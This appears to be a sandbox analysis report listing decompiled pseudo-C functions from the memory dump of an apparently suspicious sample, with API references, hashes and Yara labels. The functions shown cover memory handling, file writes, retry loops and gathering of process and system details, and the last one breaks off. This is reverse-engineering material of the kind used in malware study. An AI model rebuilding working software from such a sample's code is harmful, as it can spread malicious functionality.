Uniqueness Score: -1.00%

Function 0008FA01, Relevance: 1.4, APIs: 1, Instructions: 117
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0008FA01(void* __edx) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _t25;
				char _t26;
				intOrPtr _t28;
				void* _t30;
				void* _t35;
				char _t37;
				intOrPtr _t38;
				char _t41;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr* _t62;
				intOrPtr _t65;
				char* _t66;
				intOrPtr _t68;
				char _t77;
				void* _t80;
				void* _t81;

				_t25 =  *0x9e654; // 0xa5fd30
				_t26 = E000885E5( *((intOrPtr*)(_t25 + 4))); // executed
				_v12 = _t26;
				if(_t26 != 0) {
					_t62 =  *0x9e654; // 0xa5fd30
					if( *((intOrPtr*)(_t62 + 4)) > 0x400) {
						E000886C2(_t26,  *_t62, 0x400);
						_v8 = 0;
						_t35 = E0008109A(_t62, 0x34a);
						_t65 =  *0x9e688; // 0xb0000
						_t71 =  !=  ? 0x67d : 0x615;
						_t37 = E000895C2(_t65,  !=  ? 0x67d : 0x615);
						_push(0);
						_push(_t35);
						_t66 = "\\";
						_v24 = _t37;
						_push(_t66);
						_push(_t37);
						_t38 =  *0x9e688; // 0xb0000
						_push(_t66);
						_v20 = E000892C6(_t38 + 0x1020);
						_t41 = E0008A6EB( &_v8, _t40,  &_v8); // executed
						_v16 = _t41;
						E000885B6( &_v24);
						E000885B6( &_v20);
						_t72 = _v16;
						_t81 = _t80 + 0x3c;
						_t68 = _v8;
						if(_v16 != 0 && _t68 > 0x400) {
							_t50 =  *0x9e654; // 0xa5fd30
							_t51 =  *((intOrPtr*)(_t50 + 4));
							_t52 =  <  ? _t68 : _t51;
							_t53 = ( <  ? _t68 : _t51) + 0xfffffc00;
							E000886C2(_v12 + 0x400, _t72 + 0x400, ( <  ? _t68 : _t51) + 0xfffffc00);
							_t68 = _v8;
							_t81 = _t81 + 0xc;
						}
						E000885FB( &_v16, _t68);
						E000885FB( &_v20, 0xfffffffe);
						_t26 = _v12;
						_t80 = _t81 + 0x10;
					}
					_t77 = 0;
					while(1) {
						_t28 =  *0x9e688; // 0xb0000
						_t30 = E0008A7BF(_t28 + 0x228, _t26, 0x1000); // executed
						_t80 = _t80 + 0xc;
						if(_t30 >= 0) {
							break;
						}
						Sleep(1);
						_t77 = _t77 + 1;
						if(_t77 < 0x2710) {
							_t26 = _v12;
							continue;
						}
						break;
					}
					E000885FB( &_v12, 0); // executed
				}
				return 0;
			}

0x0008fa07
0x0008fa0f
0x0008fa14
0x0008fa1a
0x0008fa20
0x0008fa33
0x0008fa3d
0x0008fa47
0x0008fa4a
0x0008fa4f
0x0008fa65
0x0008fa69
0x0008fa6e
0x0008fa6f
0x0008fa70
0x0008fa75
0x0008fa78
0x0008fa79
0x0008fa7a
0x0008fa7f
0x0008fa8e
0x0008fa93
0x0008fa98
0x0008fa9f
0x0008faa8
0x0008faad
0x0008fab0
0x0008fab3
0x0008fab8
0x0008fabe
0x0008fac3
0x0008fac8
0x0008facb
0x0008fade
0x0008fae3
0x0008fae6
0x0008fae6
0x0008faee
0x0008faf9
0x0008fafe
0x0008fb01
0x0008fb01
0x0008fb04
0x0008fb06
0x0008fb0c
0x0008fb17
0x0008fb1c
0x0008fb21
0x00000000
0x00000000
0x0008fb2a
0x0008fb30
0x0008fb37
0x0008fb39
0x00000000
0x0008fb39
0x00000000
0x0008fb37
0x0008fb43
0x0008fb4c
0x0008fb50

APIs

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

Sleep.KERNELBASE(00000001,00000000,00000000,00000000,?,?,?,?,0008F8F7,?,?,?,0008FCF1,00000000), ref: 0008FB2A

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeapSleep
String ID:
API String ID: 4201116106-0
Opcode ID: 18ed133551a1c8fbf34e9f8e9ba74075f6990ee2930449df389b54cbd6534b62
Instruction ID: 171361de703645103d6c8e367bb5da180907a659175838bdfb3d2b3c7c862fc3
Opcode Fuzzy Hash: 18ed133551a1c8fbf34e9f8e9ba74075f6990ee2930449df389b54cbd6534b62
Instruction Fuzzy Hash: 72317C71A00205ABEB00FBA8CD86EEE77BDFB44314B54417AF545E7242EB34EE018B51

Uniqueness

Uniqueness Score: -1.00%

Function 00088950, Relevance: 1.4, APIs: 1, Instructions: 107
stringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00088950(WCHAR* __ecx, short __edx, intOrPtr _a4, short _a8) {
				char _v8;
				WCHAR* _v12;
				signed int _v16;
				WCHAR* _v20;
				short _t30;
				short _t33;
				intOrPtr _t38;
				intOrPtr _t43;
				intOrPtr _t45;
				short _t49;
				void* _t52;
				char _t71;
				WCHAR* _t72;

				_v16 = _v16 & 0x00000000;
				_t71 = 0;
				_v12 = __ecx;
				_t49 = __edx;
				_v8 = 0;
				_t72 = E000885E5(0x448);
				_v20 = _t72;
				_pop(_t52);
				if(_t72 != 0) {
					_t72[0x21a] = __edx;
					_t72[0x21c] = _a8;
					lstrcpynW(_t72, _v12, 0x200);
					if(_t49 != 1) {
						_t30 = E000885E5(0x100000);
						_t72[0x212] = _t30;
						if(_t30 != 0) {
							_t69 = _a4;
							_t72[0x216] = 0x100000;
							if(_a4 != 0) {
								E000887CB(_t72, _t69);
							}
							L16:
							return _t72;
						}
						L7:
						if(_t71 != 0) {
							E000885FB( &_v8, 0);
						}
						L9:
						_t33 = _t72[0x218];
						if(_t33 != 0) {
							_t38 =  *0x9e684; // 0xa5f8f0
							 *((intOrPtr*)(_t38 + 0x30))(_t33);
						}
						_t73 =  &(_t72[0x212]);
						if(_t72[0x212] != 0) {
							E000885FB(_t73, 0);
						}
						E000885FB( &_v20, 0);
						goto L1;
					}
					_t43 = E0008A6EB(_t52, _v12,  &_v16); // executed
					_t71 = _t43;
					_v8 = _t71;
					if(_t71 == 0) {
						goto L9;
					}
					if(E000887F6(_t72, _t71, _v16, _a4) < 0) {
						goto L7;
					} else {
						_t45 =  *0x9e684; // 0xa5f8f0
						 *((intOrPtr*)(_t45 + 0x30))(_t72[0x218]);
						_t72[0x218] = _t72[0x218] & 0x00000000;
						E000885FB( &_v8, 0);
						goto L16;
					}
				}
				L1:
				return 0;
			}

0x00088956
0x0008895d
0x0008895f
0x00088967
0x00088969
0x00088971
0x00088973
0x00088976
0x00088979
0x0008898d
0x00088994
0x0008899a
0x000889a3
0x000889fb
0x00088a00
0x00088a09
0x00088a56
0x00088a59
0x00088a61
0x00088a65
0x00088a65
0x00088a6a
0x00000000
0x00088a6a
0x00088a0b
0x00088a0d
0x00088a15
0x00088a1b
0x00088a1c
0x00088a1c
0x00088a24
0x00088a27
0x00088a2c
0x00088a2c
0x00088a2f
0x00088a38
0x00088a3d
0x00088a43
0x00088a4a
0x00000000
0x00088a50
0x000889ac
0x000889b1
0x000889b3
0x000889ba
0x00000000
0x00000000
0x000889cf
0x00000000
0x000889d1
0x000889d1
0x000889dc
0x000889df
0x000889ec
0x00000000
0x000889f2
0x000889cf
0x0008897b
0x00000000

APIs

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

lstrcpynW.KERNEL32(00000000,00000000,00000200,00000000,00000000,00000003), ref: 0008899A

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeaplstrcpyn
String ID:
API String ID: 680773602-0
Opcode ID: c0caa3d25919b2db813269409f1db44fa795920ccf5f065e7c795d36ddde6347
Instruction ID: 25cf5ab49ef49d1d8ac82ab7d8b45c06ea666a1c9442a33dc88490f98d363920
Opcode Fuzzy Hash: c0caa3d25919b2db813269409f1db44fa795920ccf5f065e7c795d36ddde6347
Instruction Fuzzy Hash: 12318576A04705AFEB24EB68DC41B9E77E8FF40760FA4841AF68597181DF30AA018759

Uniqueness

Uniqueness Score: -1.00%

Function 0008E308, Relevance: 1.3, APIs: 1, Instructions: 92
sleepCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0008E308(void* __fp0, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				void* _v24;
				void* _v28;
				char _v32;
				char _v544;
				signed int _t40;
				intOrPtr _t41;
				intOrPtr _t48;
				intOrPtr _t58;
				void* _t65;
				intOrPtr _t66;
				void* _t70;
				signed int _t73;
				void* _t75;
				void* _t77;

				_t77 = __fp0;
				_v20 = 0;
				_v28 = 0;
				_v24 = 0;
				_t66 =  *0x9e6b4; // 0xa5fa98, executed
				_t40 =  *((intOrPtr*)(_t66 + 4))(_t65, 0, 2,  &_v8, 0xffffffff,  &_v20,  &_v28,  &_v24);
				if(_t40 == 0) {
					_t73 = 0;
					if(_v20 <= 0) {
						L9:
						_t41 =  *0x9e6b4; // 0xa5fa98
						 *((intOrPtr*)(_t41 + 0xc))(_v8);
						return 0;
					}
					do {
						_v16 = 0;
						_v12 = 0;
						_t48 =  *0x9e68c; // 0xa5fab8
						 *((intOrPtr*)(_t48 + 0xc4))(0,  *((intOrPtr*)(_v8 + _t73 * 4)), 0,  &_v16, 0,  &_v12,  &_v32);
						_t70 = E000885E5(_v16 + 1);
						if(_t70 != 0) {
							_v12 = 0x200;
							_push( &_v32);
							_push( &_v12);
							_push( &_v544);
							_push( &_v16);
							_push(_t70);
							_push( *((intOrPtr*)(_v8 + _t73 * 4)));
							_t58 =  *0x9e68c; // 0xa5fab8
							_push(0);
							if( *((intOrPtr*)(_t58 + 0xc4))() != 0) {
								E000848F8(_t77,  *((intOrPtr*)(_v8 + _t73 * 4)), _t70, _a4);
								_t75 = _t75 + 0xc;
								Sleep(0xa);
							}
						}
						_t73 = _t73 + 1;
					} while (_t73 < _v20);
					goto L9;
				}
				return _t40 | 0xffffffff;
			}

0x0008e308
0x0008e31b
0x0008e322
0x0008e32b
0x0008e333
0x0008e339
0x0008e33e
0x0008e349
0x0008e34e
0x0008e3e7
0x0008e3e7
0x0008e3ef
0x00000000
0x0008e3f4
0x0008e355
0x0008e358
0x0008e35f
0x0008e36f
0x0008e375
0x0008e385
0x0008e38a
0x0008e38f
0x0008e396
0x0008e39a
0x0008e3a1
0x0008e3a5
0x0008e3a9
0x0008e3aa
0x0008e3ad
0x0008e3b2
0x0008e3bb
0x0008e3c7
0x0008e3d1
0x0008e3d6
0x0008e3d6
0x0008e3bb
0x0008e3dc
0x0008e3dd
0x00000000
0x0008e3e6
0x00000000

APIs

Sleep.KERNELBASE(0000000A), ref: 0008E3D6

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1dfb95ef820705a047d8b1f0830bed4974c0dc5f9298a189b0d77879e639a534
Instruction ID: cf8cbba719ad1f7280b559319a87231f67c1453a20f1c66a795ac4a445234825
Opcode Fuzzy Hash: 1dfb95ef820705a047d8b1f0830bed4974c0dc5f9298a189b0d77879e639a534
Instruction Fuzzy Hash: 44310AB6900249BFEB11DF94CC88DEEBBBCFB04350F1541A6B551E7251DB309E058B61

Uniqueness

Uniqueness Score: -1.00%

Function 0008A3D8, Relevance: 1.3, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0008A3D8(signed int __ecx, intOrPtr* __edx, void* __fp0) {
				intOrPtr _v8;
				signed int _v16;
				char _v20;
				void* _t24;
				char _t25;
				signed int _t30;
				intOrPtr* _t45;
				signed int _t46;
				void* _t47;
				void* _t54;

				_t54 = __fp0;
				_t45 = __edx;
				_t46 = 0;
				_t30 = __ecx;
				if( *__edx > 0) {
					do {
						_t24 = E00089E9B(_t30,  *((intOrPtr*)( *((intOrPtr*)(_t45 + 4)) + _t46 * 8))); // executed
						if(_t24 == 0) {
							_t25 = E0008972A( *((intOrPtr*)( *((intOrPtr*)(_t45 + 4)) + 4 + _t46 * 8)));
							_v8 = _t25;
							if(_t25 != 0) {
								L6:
								_v16 = _v16 & 0x00000000;
								_v20 = _t25;
								E0008A076(_t30,  *((intOrPtr*)( *((intOrPtr*)(_t45 + 4)) + _t46 * 8)), _t54,  &_v20, 8, 2); // executed
								_t47 = _t47 + 0xc;
							} else {
								if(GetLastError() != 0xd) {
									_t25 = _v8;
									goto L6;
								} else {
									E00089F13( *((intOrPtr*)( *((intOrPtr*)(_t45 + 4)) + 4 + _t46 * 8))); // executed
								}
							}
						}
						_t46 = _t46 + 1;
					} while (_t46 <  *_t45);
				}
				return 0;
			}

0x0008a3d8
0x0008a3e1
0x0008a3e3
0x0008a3e5
0x0008a3e9
0x0008a3eb
0x0008a3f3
0x0008a3fa
0x0008a403
0x0008a408
0x0008a40d
0x0008a431
0x0008a436
0x0008a43c
0x0008a448
0x0008a44d
0x0008a40f
0x0008a418
0x0008a42e
0x00000000
0x0008a41a
0x0008a426
0x0008a42b
0x0008a418
0x0008a40d
0x0008a450
0x0008a451
0x0008a3eb
0x0008a45b

APIs

Part of subcall function 0008972A: SetLastError.KERNEL32(0000000D,00000000,00000000,0008A32C,00000000,00000000,?,?,?,00085AD4), ref: 00089763

GetLastError.KERNEL32(00000000,?,00000000,?,?,?,?,00084C53,?,?,00000000), ref: 0008A40F

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 30f297d3f8757aff3cabda38c18c9a2890033c2604c1751905d7036307e0381c
Instruction ID: c65f2d1847d0f496679143b0ea34c732759674e097d6dd7c7386cc94f21754d0
Opcode Fuzzy Hash: 30f297d3f8757aff3cabda38c18c9a2890033c2604c1751905d7036307e0381c
Instruction Fuzzy Hash: A811A179B00106ABDB20FF68C885A6EB7A5BBC5304F20812AD49697752EB70ED018BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00085D5E, Relevance: 1.3, APIs: 1, Instructions: 49
stringCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00085D5E(void* __eflags) {
				char _v44;
				intOrPtr _t7;
				intOrPtr _t10;
				void* _t11;
				WCHAR* _t12;
				WCHAR* _t13;
				WCHAR* _t14;
				intOrPtr _t15;
				intOrPtr _t19;
				intOrPtr _t22;
				void* _t27;
				WCHAR* _t28;

				_t7 =  *0x9e688; // 0xb0000
				E0008A8AF( &_v44,  *((intOrPtr*)(_t7 + 0xac)) + 4, __eflags);
				_t10 =  *0x9e684; // 0xa5f8f0
				_t28 = 2;
				_t11 =  *((intOrPtr*)(_t10 + 0xbc))(_t28, 0,  &_v44, _t27);
				if(_t11 == 0) {
					_t22 =  *0x9e688; // 0xb0000
					_t12 = E00085967( *((intOrPtr*)(_t22 + 0xac)), 0, __eflags); // executed
					 *0x9e6ac = _t12;
					__eflags = _t12;
					if(_t12 != 0) {
						_t14 = E00089E86();
						__eflags = _t14;
						if(_t14 == 0) {
							_t28 = 0;
							__eflags = 0;
						} else {
							_t15 =  *0x9e688; // 0xb0000
							lstrcmpiW(_t15 + 0x228, _t14);
							asm("sbb esi, esi");
							_t28 = _t28 + 1;
						}
					}
					_t13 = _t28;
				} else {
					_t19 =  *0x9e684; // 0xa5f8f0
					 *((intOrPtr*)(_t19 + 0x30))(_t11);
					_t13 = 3;
				}
				return _t13;
			}

0x00085d61
0x00085d76
0x00085d7f
0x00085d88
0x00085d8a
0x00085d92
0x00085da2
0x00085db0
0x00085db5
0x00085dba
0x00085dbc
0x00085dbe
0x00085dc3
0x00085dc5
0x00085de0
0x00085de0
0x00085dc7
0x00085dc8
0x00085dd3
0x00085ddb
0x00085ddd
0x00085ddd
0x00085dc5
0x00085de2
0x00085d94
0x00085d95
0x00085d9a
0x00085d9f
0x00085d9f
0x00085de6

APIs

lstrcmpiW.KERNEL32(000AFDD8,00000000), ref: 00085DD3

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: d00af6409d9d7730e6402a6d54878263d571b594aa651e185e1b640024ca091e
Instruction ID: 957ebf8be2e43ef87ec0c01ee90cc132d95222f8a4e09199d2deefdb12ca5e3d
Opcode Fuzzy Hash: d00af6409d9d7730e6402a6d54878263d571b594aa651e185e1b640024ca091e
Instruction Fuzzy Hash: 41017171200211DFFB60FB69DC4AF9A37E8BB58781F554026F541EB191DA24EC00CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0008BA47, Relevance: 1.3, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0008BA47() {
				signed int _v8;
				signed int _v12;
				intOrPtr _t15;
				void* _t16;
				void* _t18;
				void* _t21;
				intOrPtr _t22;
				void* _t24;
				void* _t30;

				_v8 = _v8 & 0x00000000;
				_t15 =  *0x9e68c; // 0xa5fab8
				_t16 =  *((intOrPtr*)(_t15 + 0x70))(_t24, 8,  &_v8, _t24, _t24);
				if(_t16 != 0) {
					_v12 = _v12 & 0x00000000;
					_t18 = E0008B9DA(1,  &_v12); // executed
					_t30 = _t18;
					if(_t30 != 0) {
						CloseHandle(_v8);
						_t21 = _t30;
					} else {
						if(_v8 != _t18) {
							_t22 =  *0x9e684; // 0xa5f8f0
							 *((intOrPtr*)(_t22 + 0x30))(_v8);
						}
						_t21 = 0;
					}
					return _t21;
				} else {
					return _t16;
				}
			}

0x0008ba4c
0x0008ba54
0x0008ba5c
0x0008ba61
0x0008ba6b
0x0008ba74
0x0008ba79
0x0008ba7e
0x0008ba9c
0x0008ba9f
0x0008ba80
0x0008ba83
0x0008ba85
0x0008ba8d
0x0008ba8d
0x0008ba90
0x0008ba90
0x0008baa3
0x0008ba64
0x0008ba64
0x0008ba64

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 453c99902ca0ae88522ce620eebd1f40cd1c7a33b57eec06d8be87d04b3e209a
Instruction ID: 815ab03c788eb77f07b59f13ad057621fe900600088db3fca712d88f36ab8c21
Opcode Fuzzy Hash: 453c99902ca0ae88522ce620eebd1f40cd1c7a33b57eec06d8be87d04b3e209a
Instruction Fuzzy Hash: B6F08C32A10109EFDF24EBA4C945A9E77F8FB54399F1140A5F141E7160DB34DE00EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00085CCD, Relevance: 1.3, APIs: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00085CCD(void* __ecx, void* __eflags, void* __fp0) {
				void _v44;
				signed int _t8;
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t21;
				void* _t24;
				void* _t29;
				void* _t35;

				_t35 = __eflags;
				_t24 = __ecx;
				_t8 =  *0x9e688; // 0xb0000
				E000924D3(_t8,  *((intOrPtr*)(_t8 + 0x224))); // executed
				E000885D0();
				E00088F59();
				 *0x9e780 = 0;
				 *0x9e784 = 0;
				 *0x9e77c = 0;
				E00085E97(); // executed
				E0008CFC6(_t24);
				_t14 =  *0x9e688; // 0xb0000
				 *((intOrPtr*)(_t14 + 0xa4)) = 2;
				_t15 =  *0x9e688; // 0xb0000
				E0008A8AF( &_v44,  *((intOrPtr*)(_t15 + 0xac)) + 7, _t35);
				E0008B379( &_v44);
				memset( &_v44, 0, 0x27);
				E00085C07( &_v44, __fp0);
				_t21 =  *0x9e684; // 0xa5f8f0
				 *((intOrPtr*)(_t21 + 0xdc))(0, _t29);
				return 0;
			}

0x00085ccd
0x00085ccd
0x00085cd0
0x00085cdf
0x00085ce4
0x00085ce9
0x00085cf0
0x00085cf6
0x00085cfc
0x00085d02
0x00085d07
0x00085d0c
0x00085d14
0x00085d1e
0x00085d2c
0x00085d34
0x00085d40
0x00085d48
0x00085d4d
0x00085d53
0x00085d5d

APIs

Part of subcall function 000885D0: HeapCreate.KERNELBASE(00000000,00080000,00000000,00085F88), ref: 000885D9

Part of subcall function 0008CFC6: GetCurrentProcess.KERNEL32(?,?,000B0000,?,00083538), ref: 0008CFD2
Part of subcall function 0008CFC6: GetModuleFileNameW.KERNEL32(00000000,000B1644,00000105,?,?,000B0000,?,00083538), ref: 0008CFF3
Part of subcall function 0008CFC6: memset.MSVCRT ref: 0008D024
Part of subcall function 0008CFC6: GetVersionExA.KERNEL32(000B0000,000B0000,?,00083538), ref: 0008D02F
Part of subcall function 0008CFC6: GetCurrentProcessId.KERNEL32(?,00083538), ref: 0008D035

Part of subcall function 0008B379: CloseHandle.KERNELBASE(00000000,?,00000000,00083C7D,?,?,?,?,?,?,?,?,00083D62,00000000), ref: 0008B3AC

memset.MSVCRT ref: 00085D40

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CurrentProcessmemset$CloseCreateFileHandleHeapModuleNameVersion
String ID:
API String ID: 4245722550-0
Opcode ID: fbea1c1dade82dcc2072efb1179648e2793e459e0306b78ed2a1691ba09f4827
Instruction ID: ac0ebb019f512fd2989d579be88d9acf46ffeb81fe06b290a6fd1fc1be1cf91d
Opcode Fuzzy Hash: fbea1c1dade82dcc2072efb1179648e2793e459e0306b78ed2a1691ba09f4827
Instruction Fuzzy Hash: 34011D71501254AFF600FBA8DC4AEC97BE4FF28350F454066F444A7263EB7469458FA2

Uniqueness

Uniqueness Score: -1.00%

Function 000885FB, Relevance: 1.3, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000885FB(int _a4, intOrPtr _a8) {
				int _t3;
				intOrPtr _t4;
				void* _t9;

				_t3 = _a4;
				if(_t3 == 0) {
					return _t3;
				}
				_t9 =  *_t3;
				if(_t9 != 0) {
					 *_t3 =  *_t3 & 0x00000000;
					_t4 = _a8;
					if(_t4 != 0xffffffff) {
						if(_t4 == 0xfffffffe) {
							_t4 = E0008C3D4(_t9);
						}
					} else {
						_t4 = E0008C3BB(_t9);
					}
					E00088730(_t9, 0, _t4);
					_t3 = HeapFree( *0x9e768, 0, _t9); // executed
				}
				return _t3;
			}

0x000885fe
0x00088603
0x00088649
0x00088649
0x00088606
0x0008860a
0x0008860c
0x0008860f
0x00088615
0x00088623
0x00088627
0x00088627
0x00088617
0x00088618
0x0008861d
0x00088630
0x00088641
0x00088641
0x00000000

APIs

HeapFree.KERNEL32(00000000,00000000,00000001), ref: 00088641

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 14da9eea63f4fc1ca8dcbff6d1e36c3ea547d303668a5e84f77016895f7a9f75
Instruction ID: ac77b0697af9c8c148687bd0fcb5b8090f73c4e4272c6babf244afc233e7cf0e
Opcode Fuzzy Hash: 14da9eea63f4fc1ca8dcbff6d1e36c3ea547d303668a5e84f77016895f7a9f75
Instruction Fuzzy Hash: E1F0E5319015146BEA603B24AC01FAE3398BF01B35FA48241F954AB2D1EF30AD1187EA

Uniqueness

Uniqueness Score: -1.00%

Function 0008A7BF, Relevance: 1.3, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0008A7BF(WCHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _t5;
				void* _t6;
				void* _t10;
				long _t15;
				void* _t17;

				_t15 = 2;
				_t5 = E0008A639(_a4, _t15);
				_t17 = _t5;
				if(_t17 != 0) {
					_t6 = E0008A69E(_t17, _a8, _a12); // executed
					if(_t6 != 0) {
						CloseHandle(_t17);
						return 0;
					}
					_t10 = 0xfffffffe;
					return _t10;
				}
				return _t5 | 0xffffffff;
			}

0x0008a7c8
0x0008a7c9
0x0008a7ce
0x0008a7d2
0x0008a7e1
0x0008a7e9
0x0008a7f6
0x00000000
0x0008a7f9
0x0008a7ed
0x00000000
0x0008a7ed
0x00000000

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 42b09d797248cff8d887e946ca716a5ac2831457aee0cabffcae931d5b2cbaf9
Instruction ID: 11d377bfced09ec304d4c34b3eaadc9c69979dba6303b6e1dfc591ea1d43a9f4
Opcode Fuzzy Hash: 42b09d797248cff8d887e946ca716a5ac2831457aee0cabffcae931d5b2cbaf9
Instruction Fuzzy Hash: 02E0D1363086155FAB21BA68DC50D9E37547F463707104713F955CBAC1EE30DD515786

Uniqueness

Uniqueness Score: -1.00%

Function 0008B379, Relevance: 1.3, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0008B379(void* __ecx) {
				intOrPtr _t4;
				void* _t5;
				intOrPtr _t6;
				void* _t12;
				void* _t13;

				_t4 =  *0x9e684; // 0xa5f8f0
				_t13 = 0;
				_t5 =  *((intOrPtr*)(_t4 + 0xbc))(2, 0, __ecx);
				_t12 = _t5;
				if(_t12 != 0) {
					_t6 =  *0x9e684; // 0xa5f8f0
					_push(_t12);
					if( *((intOrPtr*)(_t6 + 0xc0))() != 0) {
						_t13 = 1;
					}
					CloseHandle(_t12);
					return _t13;
				}
				return _t5;
			}

0x0008b379
0x0008b381
0x0008b386
0x0008b38c
0x0008b390
0x0008b392
0x0008b397
0x0008b3a0
0x0008b3a4
0x0008b3a4
0x0008b3ac
0x00000000
0x0008b3af
0x0008b3b3

APIs

CloseHandle.KERNELBASE(00000000,?,00000000,00083C7D,?,?,?,?,?,?,?,?,00083D62,00000000), ref: 0008B3AC

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 1aa3408248094b525e3aa245139550e6978348c105a51532174060b81b91920c
Instruction ID: b27caacabd71a5798e5e7691a423994bccf3ed3b32d79844e5c1f18ba8ff3e42
Opcode Fuzzy Hash: 1aa3408248094b525e3aa245139550e6978348c105a51532174060b81b91920c
Instruction Fuzzy Hash: 7BE04F333001209BE6619B69EC4CF677AA9FBD5AA1B060169F905C7211CB248C02C7A1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0008D061, Relevance: 31.8, APIs: 13, Strings: 5, Instructions: 282
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0008D061(void* __fp0) {
				char _v8;
				char _v12;
				char _v16;
				struct _SYSTEM_INFO _v52;
				char _v180;
				char _v692;
				char _v704;
				char _v2680;
				void* __esi;
				struct _OSVERSIONINFOA* _t81;
				intOrPtr _t83;
				void* _t84;
				long _t86;
				intOrPtr* _t88;
				intOrPtr _t90;
				intOrPtr _t95;
				intOrPtr _t97;
				void* _t98;
				intOrPtr _t103;
				char* _t105;
				void* _t108;
				char _t115;
				signed int _t117;
				char _t119;
				intOrPtr _t124;
				intOrPtr _t127;
				intOrPtr _t130;
				intOrPtr _t134;
				intOrPtr _t147;
				intOrPtr _t149;
				intOrPtr _t152;
				intOrPtr _t154;
				signed int _t159;
				struct HINSTANCE__* _t162;
				short* _t164;
				intOrPtr _t167;
				WCHAR* _t168;
				char* _t169;
				intOrPtr _t181;
				intOrPtr _t200;
				void* _t215;
				char _t218;
				void* _t219;
				char* _t220;
				struct _OSVERSIONINFOA* _t222;
				void* _t223;
				int* _t224;
				void* _t241;

				_t241 = __fp0;
				_t162 =  *0x9e69c; // 0x6d7f0000
				_t81 = E000885E5(0x1ac4);
				_t222 = _t81;
				if(_t222 == 0) {
					return _t81;
				}
				 *((intOrPtr*)(_t222 + 0x1640)) = GetCurrentProcessId();
				_t83 =  *0x9e684; // 0xa5f8f0
				_t84 =  *((intOrPtr*)(_t83 + 0xa0))(_t215);
				_t3 = _t222 + 0x648; // 0x648
				E00092339( *((intOrPtr*)(_t222 + 0x1640)) + _t84, _t3);
				_t5 = _t222 + 0x1644; // 0x1644
				_t216 = _t5;
				_t86 = GetModuleFileNameW(0, _t5, 0x105);
				_t227 = _t86;
				if(_t86 != 0) {
					 *((intOrPtr*)(_t222 + 0x1854)) = E00088F9F(_t216, _t227);
				}
				GetCurrentProcess();
				_t88 = E0008BA47();
				 *((intOrPtr*)(_t222 + 0x110)) = _t88;
				_t178 =  *_t88;
				if(E0008BBCF( *_t88) == 0) {
					_t90 = E0008BAA4(_t178, _t222);
					__eflags = _t90;
					_t181 = (0 | _t90 > 0x00000000) + 1;
					__eflags = _t181;
					 *((intOrPtr*)(_t222 + 0x214)) = _t181;
				} else {
					 *((intOrPtr*)(_t222 + 0x214)) = 3;
				}
				_t12 = _t222 + 0x220; // 0x220
				 *((intOrPtr*)(_t222 + 0x218)) = E0008E433(_t12);
				 *((intOrPtr*)(_t222 + 0x21c)) = E0008E3F8(_t12);
				_push( &_v16);
				 *(_t222 + 0x224) = _t162;
				_push( &_v8);
				_v12 = 0x80;
				_push( &_v692);
				_v8 = 0x100;
				_push( &_v12);
				_t22 = _t222 + 0x114; // 0x114
				_push( *((intOrPtr*)( *((intOrPtr*)(_t222 + 0x110)))));
				_t95 =  *0x9e68c; // 0xa5fab8
				_push(0);
				if( *((intOrPtr*)(_t95 + 0x6c))() == 0) {
					GetLastError();
				}
				_t97 =  *0x9e694; // 0xa5fa48
